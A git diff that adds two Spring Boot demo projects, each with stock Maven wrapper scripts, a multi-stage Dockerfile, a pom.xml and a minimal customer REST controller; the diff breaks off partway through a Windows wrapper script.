diff --git a/renovate.json b/renovate.json
new file mode 100644
index 0000000..39a2b6e
--- /dev/null
+++ b/renovate.json
@@ -0,0 +1,6 @@
+{
+ "$schema": "https://docs.renovatebot.com/renovate-schema.json",
+ "extends": [
+ "config:base"
+ ]
+}
diff --git a/spring-boot-docker-build/.gitignore b/spring-boot-docker-build/.gitignore
new file mode 100644
index 0000000..82eca33
--- /dev/null
+++ b/spring-boot-docker-build/.gitignore
@@ -0,0 +1,25 @@
+/target/
+!.mvn/wrapper/maven-wrapper.jar
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/build/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
\ No newline at end of file
diff --git a/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.jar b/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..9cc84ea
Binary files /dev/null and b/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.properties b/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..6c8c0e0
--- /dev/null
+++ b/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
diff --git a/spring-boot-docker-build/Dockerfile b/spring-boot-docker-build/Dockerfile
new file mode 100644
index 0000000..cbd083a
--- /dev/null
+++ b/spring-boot-docker-build/Dockerfile
@@ -0,0 +1,43 @@
+### BUILD image
+FROM maven:3-jdk-11 as builder
+#Copy Custom Maven settings
+#COPY settings.xml /root/.m2/
+# create app folder for sources
+RUN mkdir -p /build
+WORKDIR /build
+COPY pom.xml /build
+#Download all required dependencies into one layer
+RUN mvn -B dependency:resolve dependency:resolve-plugins
+#RUN mvn dependency:resolve-plugins
+#Copy source code
+COPY src /build/src
+# Build application
+RUN mvn package
+
+
+FROM openjdk:11.0.16-slim as runtime
+EXPOSE 8080
+#Set app home folder
+ENV APP_HOME /app
+#Possibility to set JVM options (https://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html)
+ENV JAVA_OPTS=""
+
+#Create base app folder
+RUN mkdir $APP_HOME
+#Create folder to save configuration files
+RUN mkdir $APP_HOME/config
+#Create folder with application logs
+RUN mkdir $APP_HOME/log
+
+VOLUME $APP_HOME/log
+VOLUME $APP_HOME/config
+
+WORKDIR $APP_HOME
+#Copy executable jar file from the builder image
+COPY --from=builder /build/target/*.jar app.jar
+
+ENTRYPOINT [ "sh", "-c", "java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -jar app.jar" ]
+#Second option using shell form:
+#ENTRYPOINT exec java $JAVA_OPTS -jar app.jar $0 $@
+
+
diff --git a/spring-boot-docker-build/mvnw b/spring-boot-docker-build/mvnw
new file mode 100644
index 0000000..5bf251c
--- /dev/null
+++ b/spring-boot-docker-build/mvnw
@@ -0,0 +1,225 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven2 Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+# JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+# M2_HOME - location of maven2's installed home dir
+# MAVEN_OPTS - parameters passed to the Java VM when running Maven
+# e.g. to debug Maven itself, use
+# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+ if [ -f /etc/mavenrc ] ; then
+ . /etc/mavenrc
+ fi
+
+ if [ -f "$HOME/.mavenrc" ] ; then
+ . "$HOME/.mavenrc"
+ fi
+
+fi
+
+# OS specific support. $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+ CYGWIN*) cygwin=true ;;
+ MINGW*) mingw=true;;
+ Darwin*) darwin=true
+ # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+ # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+ if [ -z "$JAVA_HOME" ]; then
+ if [ -x "/usr/libexec/java_home" ]; then
+ export JAVA_HOME="`/usr/libexec/java_home`"
+ else
+ export JAVA_HOME="/Library/Java/Home"
+ fi
+ fi
+ ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+ if [ -r /etc/gentoo-release ] ; then
+ JAVA_HOME=`java-config --jre-home`
+ fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+ ## resolve links - $0 may be a link to maven's home
+ PRG="$0"
+
+ # need this for relative symlinks
+ while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG="`dirname "$PRG"`/$link"
+ fi
+ done
+
+ saveddir=`pwd`
+
+ M2_HOME=`dirname "$PRG"`/..
+
+ # make it fully qualified
+ M2_HOME=`cd "$M2_HOME" && pwd`
+
+ cd "$saveddir"
+ # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --unix "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Migwn, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME="`(cd "$M2_HOME"; pwd)`"
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+ # TODO classpath?
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+ javaExecutable="`which javac`"
+ if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+ # readlink(1) is not available as standard on Solaris 10.
+ readLink=`which readlink`
+ if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+ if $darwin ; then
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+ else
+ javaExecutable="`readlink -f \"$javaExecutable\"`"
+ fi
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+ JAVA_HOME="$javaHome"
+ export JAVA_HOME
+ fi
+ fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+ if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ else
+ JAVACMD="`which java`"
+ fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+ echo "Error: JAVA_HOME is not defined correctly." >&2
+ echo " We cannot execute $JAVACMD" >&2
+ exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+ echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+ if [ -z "$1" ]
+ then
+ echo "Path not specified to find_maven_basedir"
+ return 1
+ fi
+
+ basedir="$1"
+ wdir="$1"
+ while [ "$wdir" != '/' ] ; do
+ if [ -d "$wdir"/.mvn ] ; then
+ basedir=$wdir
+ break
+ fi
+ # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+ if [ -d "${wdir}" ]; then
+ wdir=`cd "$wdir/.."; pwd`
+ fi
+ # end of workaround
+ done
+ echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+ if [ -f "$1" ]; then
+ echo "$(tr -s '\n' ' ' < "$1")"
+ fi
+}
+
+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+ exit 1;
+fi
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+echo $MAVEN_PROJECTBASEDIR
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --path --windows "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+ [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+ MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+ $MAVEN_OPTS \
+ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
diff --git a/spring-boot-docker-build/mvnw.cmd b/spring-boot-docker-build/mvnw.cmd
new file mode 100644
index 0000000..019bd74
--- /dev/null
+++ b/spring-boot-docker-build/mvnw.cmd
@@ -0,0 +1,143 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements. See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership. The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License. You may obtain a copy of the License at
+@REM
+@REM http://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied. See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven2 Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
+@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending
+@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven
+@REM e.g. to debug Maven itself, use
+@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+@REM ----------------------------------------------------------------------------
+
+@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'
+@echo off
+@REM enable echoing my setting MAVEN_BATCH_ECHO to 'on'
+@if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO%
+
+@REM set %HOME% to equivalent of $HOME
+if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%")
+
+@REM Execute a user defined script before this one
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre
+@REM check for pre script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat"
+if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd"
+:skipRcPre
+
+@setlocal
+
+set ERROR_CODE=0
+
+@REM To isolate internal variables from possible post scripts, we use another setlocal
+@setlocal
+
+@REM ==== START VALIDATION ====
+if not "%JAVA_HOME%" == "" goto OkJHome
+
+echo.
+echo Error: JAVA_HOME not found in your environment. >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+:OkJHome
+if exist "%JAVA_HOME%\bin\java.exe" goto init
+
+echo.
+echo Error: JAVA_HOME is set to an invalid directory. >&2
+echo JAVA_HOME = "%JAVA_HOME%" >&2
+echo Please set the JAVA_HOME variable in your environment to match the >&2
+echo location of your Java installation. >&2
+echo.
+goto error
+
+@REM ==== END VALIDATION ====
+
+:init
+
+@REM Find the project base dir, i.e. the directory that contains the folder ".mvn".
+@REM Fallback to current working directory if not found.
+
+set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%
+IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir
+
+set EXEC_DIR=%CD%
+set WDIR=%EXEC_DIR%
+:findBaseDir
+IF EXIST "%WDIR%"\.mvn goto baseDirFound
+cd ..
+IF "%WDIR%"=="%CD%" goto baseDirNotFound
+set WDIR=%CD%
+goto findBaseDir
+
+:baseDirFound
+set MAVEN_PROJECTBASEDIR=%WDIR%
+cd "%EXEC_DIR%"
+goto endDetectBaseDir
+
+:baseDirNotFound
+set MAVEN_PROJECTBASEDIR=%EXEC_DIR%
+cd "%EXEC_DIR%"
+
+:endDetectBaseDir
+
+IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig
+
+@setlocal EnableExtensions EnableDelayedExpansion
+for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a
+@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%
+
+:endReadAdditionalConfig
+
+SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe"
+
+set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar"
+set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*
+if ERRORLEVEL 1 goto error
+goto end
+
+:error
+set ERROR_CODE=1
+
+:end
+@endlocal & set ERROR_CODE=%ERROR_CODE%
+
+if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost
+@REM check for post script, once with legacy .bat ending and once with .cmd ending
+if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat"
+if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd"
+:skipRcPost
+
+@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'
+if "%MAVEN_BATCH_PAUSE%" == "on" pause
+
+if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE%
+
+exit /B %ERROR_CODE%
diff --git a/spring-boot-docker-build/pom.xml b/spring-boot-docker-build/pom.xml
new file mode 100644
index 0000000..e712bc1
--- /dev/null
+++ b/spring-boot-docker-build/pom.xml
@@ -0,0 +1,44 @@
+
+
+ 4.0.0
+
+ com.pavelsklenar
+ spring-boot-docker-build
+ 0.0.1-SNAPSHOT
+ jar
+ Demo project for Spring Boot
+
+
+ org.springframework.boot
+ spring-boot-starter-parent
+ 2.1.1.RELEASE
+
+
+
+
+ UTF-8
+ UTF-8
+ 1.8
+
+
+
+
+ org.springframework.boot
+ spring-boot-starter-web
+
+
+
+
+ boot-demo
+
+
+ org.springframework.boot
+ spring-boot-maven-plugin
+
+
+
+
+
+
+
diff --git a/spring-boot-docker-build/settings.xml b/spring-boot-docker-build/settings.xml
new file mode 100644
index 0000000..486cd06
--- /dev/null
+++ b/spring-boot-docker-build/settings.xml
@@ -0,0 +1,13 @@
+
+
+
+ artifactory
+ *
+ http://[host]:[port]/artifactory/[virtual repository]
+ Artifactory
+
+
+
\ No newline at end of file
diff --git a/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java
new file mode 100644
index 0000000..567a2cb
--- /dev/null
+++ b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java
@@ -0,0 +1,13 @@
+package com.pavelsklenar.rest;
+
+
+import org.springframework.boot.SpringApplication;
+import org.springframework.boot.autoconfigure.SpringBootApplication;
+
+@SpringBootApplication
+public class RestApiClientAuthApplication {
+
+ public static void main(String[] args) {
+ SpringApplication.run(RestApiClientAuthApplication.class, args);
+ }
+}
diff --git a/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java
new file mode 100644
index 0000000..fa98de2
--- /dev/null
+++ b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java
@@ -0,0 +1,18 @@
+package com.pavelsklenar.rest.controller;
+
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.PathVariable;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import com.pavelsklenar.rest.pojo.Customer;
+
+@RestController
+@RequestMapping("/customer")
+public class CustomerController {
+
+ @GetMapping("/{id}")
+ public Customer GetCustomer(@PathVariable Long id) {
+ return new Customer(id, "Customer" + id);
+ }
+}
diff --git a/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/pojo/Customer.java b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/pojo/Customer.java
new file mode 100644
index 0000000..bba0e8b
--- /dev/null
+++ b/spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/pojo/Customer.java
@@ -0,0 +1,28 @@
+package com.pavelsklenar.rest.pojo;
+
+public class Customer {
+
+ private Long id;
+ private String name;
+
+ public Customer(Long id, String name) {
+ this.id = id;
+ this.name = name;
+ }
+
+ public Long getId() {
+ return id;
+ }
+
+ public void setId(Long id) {
+ this.id = id;
+ }
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+}
diff --git a/spring-boot-docker-build/src/main/resources/application.properties b/spring-boot-docker-build/src/main/resources/application.properties
new file mode 100644
index 0000000..f2fa081
--- /dev/null
+++ b/spring-boot-docker-build/src/main/resources/application.properties
@@ -0,0 +1 @@
+logging.path=/app/log/
\ No newline at end of file
diff --git a/spring-rest-api-client-auth/.gitignore b/spring-rest-api-client-auth/.gitignore
new file mode 100644
index 0000000..82eca33
--- /dev/null
+++ b/spring-rest-api-client-auth/.gitignore
@@ -0,0 +1,25 @@
+/target/
+!.mvn/wrapper/maven-wrapper.jar
+
+### STS ###
+.apt_generated
+.classpath
+.factorypath
+.project
+.settings
+.springBeans
+.sts4-cache
+
+### IntelliJ IDEA ###
+.idea
+*.iws
+*.iml
+*.ipr
+
+### NetBeans ###
+/nbproject/private/
+/build/
+/nbbuild/
+/dist/
+/nbdist/
+/.nb-gradle/
\ No newline at end of file
diff --git a/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.jar b/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.jar
new file mode 100644
index 0000000..9cc84ea
Binary files /dev/null and b/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.jar differ
diff --git a/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.properties b/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.properties
new file mode 100644
index 0000000..6c8c0e0
--- /dev/null
+++ b/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.properties
@@ -0,0 +1 @@
+distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip
diff --git a/spring-rest-api-client-auth/mvnw b/spring-rest-api-client-auth/mvnw
new file mode 100644
index 0000000..5bf251c
--- /dev/null
+++ b/spring-rest-api-client-auth/mvnw
@@ -0,0 +1,225 @@
+#!/bin/sh
+# ----------------------------------------------------------------------------
+# Licensed to the Apache Software Foundation (ASF) under one
+# or more contributor license agreements. See the NOTICE file
+# distributed with this work for additional information
+# regarding copyright ownership. The ASF licenses this file
+# to you under the Apache License, Version 2.0 (the
+# "License"); you may not use this file except in compliance
+# with the License. You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing,
+# software distributed under the License is distributed on an
+# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+# KIND, either express or implied. See the License for the
+# specific language governing permissions and limitations
+# under the License.
+# ----------------------------------------------------------------------------
+
+# ----------------------------------------------------------------------------
+# Maven2 Start Up Batch script
+#
+# Required ENV vars:
+# ------------------
+# JAVA_HOME - location of a JDK home dir
+#
+# Optional ENV vars
+# -----------------
+# M2_HOME - location of maven2's installed home dir
+# MAVEN_OPTS - parameters passed to the Java VM when running Maven
+# e.g. to debug Maven itself, use
+# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
+# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
+# ----------------------------------------------------------------------------
+
+if [ -z "$MAVEN_SKIP_RC" ] ; then
+
+ if [ -f /etc/mavenrc ] ; then
+ . /etc/mavenrc
+ fi
+
+ if [ -f "$HOME/.mavenrc" ] ; then
+ . "$HOME/.mavenrc"
+ fi
+
+fi
+
+# OS specific support. $var _must_ be set to either true or false.
+cygwin=false;
+darwin=false;
+mingw=false
+case "`uname`" in
+ CYGWIN*) cygwin=true ;;
+ MINGW*) mingw=true;;
+ Darwin*) darwin=true
+ # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
+ # See https://developer.apple.com/library/mac/qa/qa1170/_index.html
+ if [ -z "$JAVA_HOME" ]; then
+ if [ -x "/usr/libexec/java_home" ]; then
+ export JAVA_HOME="`/usr/libexec/java_home`"
+ else
+ export JAVA_HOME="/Library/Java/Home"
+ fi
+ fi
+ ;;
+esac
+
+if [ -z "$JAVA_HOME" ] ; then
+ if [ -r /etc/gentoo-release ] ; then
+ JAVA_HOME=`java-config --jre-home`
+ fi
+fi
+
+if [ -z "$M2_HOME" ] ; then
+ ## resolve links - $0 may be a link to maven's home
+ PRG="$0"
+
+ # need this for relative symlinks
+ while [ -h "$PRG" ] ; do
+ ls=`ls -ld "$PRG"`
+ link=`expr "$ls" : '.*-> \(.*\)$'`
+ if expr "$link" : '/.*' > /dev/null; then
+ PRG="$link"
+ else
+ PRG="`dirname "$PRG"`/$link"
+ fi
+ done
+
+ saveddir=`pwd`
+
+ M2_HOME=`dirname "$PRG"`/..
+
+ # make it fully qualified
+ M2_HOME=`cd "$M2_HOME" && pwd`
+
+ cd "$saveddir"
+ # echo Using m2 at $M2_HOME
+fi
+
+# For Cygwin, ensure paths are in UNIX format before anything is touched
+if $cygwin ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --unix "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
+fi
+
+# For Migwn, ensure paths are in UNIX format before anything is touched
+if $mingw ; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME="`(cd "$M2_HOME"; pwd)`"
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`"
+ # TODO classpath?
+fi
+
+if [ -z "$JAVA_HOME" ]; then
+ javaExecutable="`which javac`"
+ if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then
+ # readlink(1) is not available as standard on Solaris 10.
+ readLink=`which readlink`
+ if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then
+ if $darwin ; then
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaExecutable="`cd \"$javaHome\" && pwd -P`/javac"
+ else
+ javaExecutable="`readlink -f \"$javaExecutable\"`"
+ fi
+ javaHome="`dirname \"$javaExecutable\"`"
+ javaHome=`expr "$javaHome" : '\(.*\)/bin'`
+ JAVA_HOME="$javaHome"
+ export JAVA_HOME
+ fi
+ fi
+fi
+
+if [ -z "$JAVACMD" ] ; then
+ if [ -n "$JAVA_HOME" ] ; then
+ if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+ # IBM's JDK on AIX uses strange locations for the executables
+ JAVACMD="$JAVA_HOME/jre/sh/java"
+ else
+ JAVACMD="$JAVA_HOME/bin/java"
+ fi
+ else
+ JAVACMD="`which java`"
+ fi
+fi
+
+if [ ! -x "$JAVACMD" ] ; then
+ echo "Error: JAVA_HOME is not defined correctly." >&2
+ echo " We cannot execute $JAVACMD" >&2
+ exit 1
+fi
+
+if [ -z "$JAVA_HOME" ] ; then
+ echo "Warning: JAVA_HOME environment variable is not set."
+fi
+
+CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher
+
+# traverses directory structure from process work directory to filesystem root
+# first directory with .mvn subdirectory is considered project base directory
+find_maven_basedir() {
+
+ if [ -z "$1" ]
+ then
+ echo "Path not specified to find_maven_basedir"
+ return 1
+ fi
+
+ basedir="$1"
+ wdir="$1"
+ while [ "$wdir" != '/' ] ; do
+ if [ -d "$wdir"/.mvn ] ; then
+ basedir=$wdir
+ break
+ fi
+ # workaround for JBEAP-8937 (on Solaris 10/Sparc)
+ if [ -d "${wdir}" ]; then
+ wdir=`cd "$wdir/.."; pwd`
+ fi
+ # end of workaround
+ done
+ echo "${basedir}"
+}
+
+# concatenates all lines of a file
+concat_lines() {
+ if [ -f "$1" ]; then
+ echo "$(tr -s '\n' ' ' < "$1")"
+ fi
+}
+
+BASE_DIR=`find_maven_basedir "$(pwd)"`
+if [ -z "$BASE_DIR" ]; then
+ exit 1;
+fi
+
+export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"}
+echo $MAVEN_PROJECTBASEDIR
+MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS"
+
+# For Cygwin, switch paths to Windows format before running java
+if $cygwin; then
+ [ -n "$M2_HOME" ] &&
+ M2_HOME=`cygpath --path --windows "$M2_HOME"`
+ [ -n "$JAVA_HOME" ] &&
+ JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"`
+ [ -n "$CLASSPATH" ] &&
+ CLASSPATH=`cygpath --path --windows "$CLASSPATH"`
+ [ -n "$MAVEN_PROJECTBASEDIR" ] &&
+ MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"`
+fi
+
+WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain
+
+exec "$JAVACMD" \
+ $MAVEN_OPTS \
+ -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \
+ "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \
+ ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@"
diff --git a/spring-rest-api-client-auth/mvnw.cmd b/spring-rest-api-client-auth/mvnw.cmd
new file mode 100644
index 0000000..019bd74
--- /dev/null
+++ b/spring-rest-api-client-auth/mvnw.cmd
@@ -0,0 +1,143 @@
+@REM ----------------------------------------------------------------------------
+@REM Licensed to the Apache Software Foundation (ASF) under one
+@REM or more contributor license agreements. See the NOTICE file
+@REM distributed with this work for additional information
+@REM regarding copyright ownership. The ASF licenses this file
+@REM to you under the Apache License, Version 2.0 (the
+@REM "License"); you may not use this file except in compliance
+@REM with the License. You may obtain a copy of the License at
+@REM
+@REM http://www.apache.org/licenses/LICENSE-2.0
+@REM
+@REM Unless required by applicable law or agreed to in writing,
+@REM software distributed under the License is distributed on an
+@REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+@REM KIND, either express or implied. See the License for the
+@REM specific language governing permissions and limitations
+@REM under the License.
+@REM ----------------------------------------------------------------------------
+
+@REM ----------------------------------------------------------------------------
+@REM Maven2 Start Up Batch script
+@REM
+@REM Required ENV vars:
+@REM JAVA_HOME - location of a JDK home dir
+@REM
+@REM Optional ENV vars
+@REM M2_HOME - location of maven2's installed home dir
+@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands
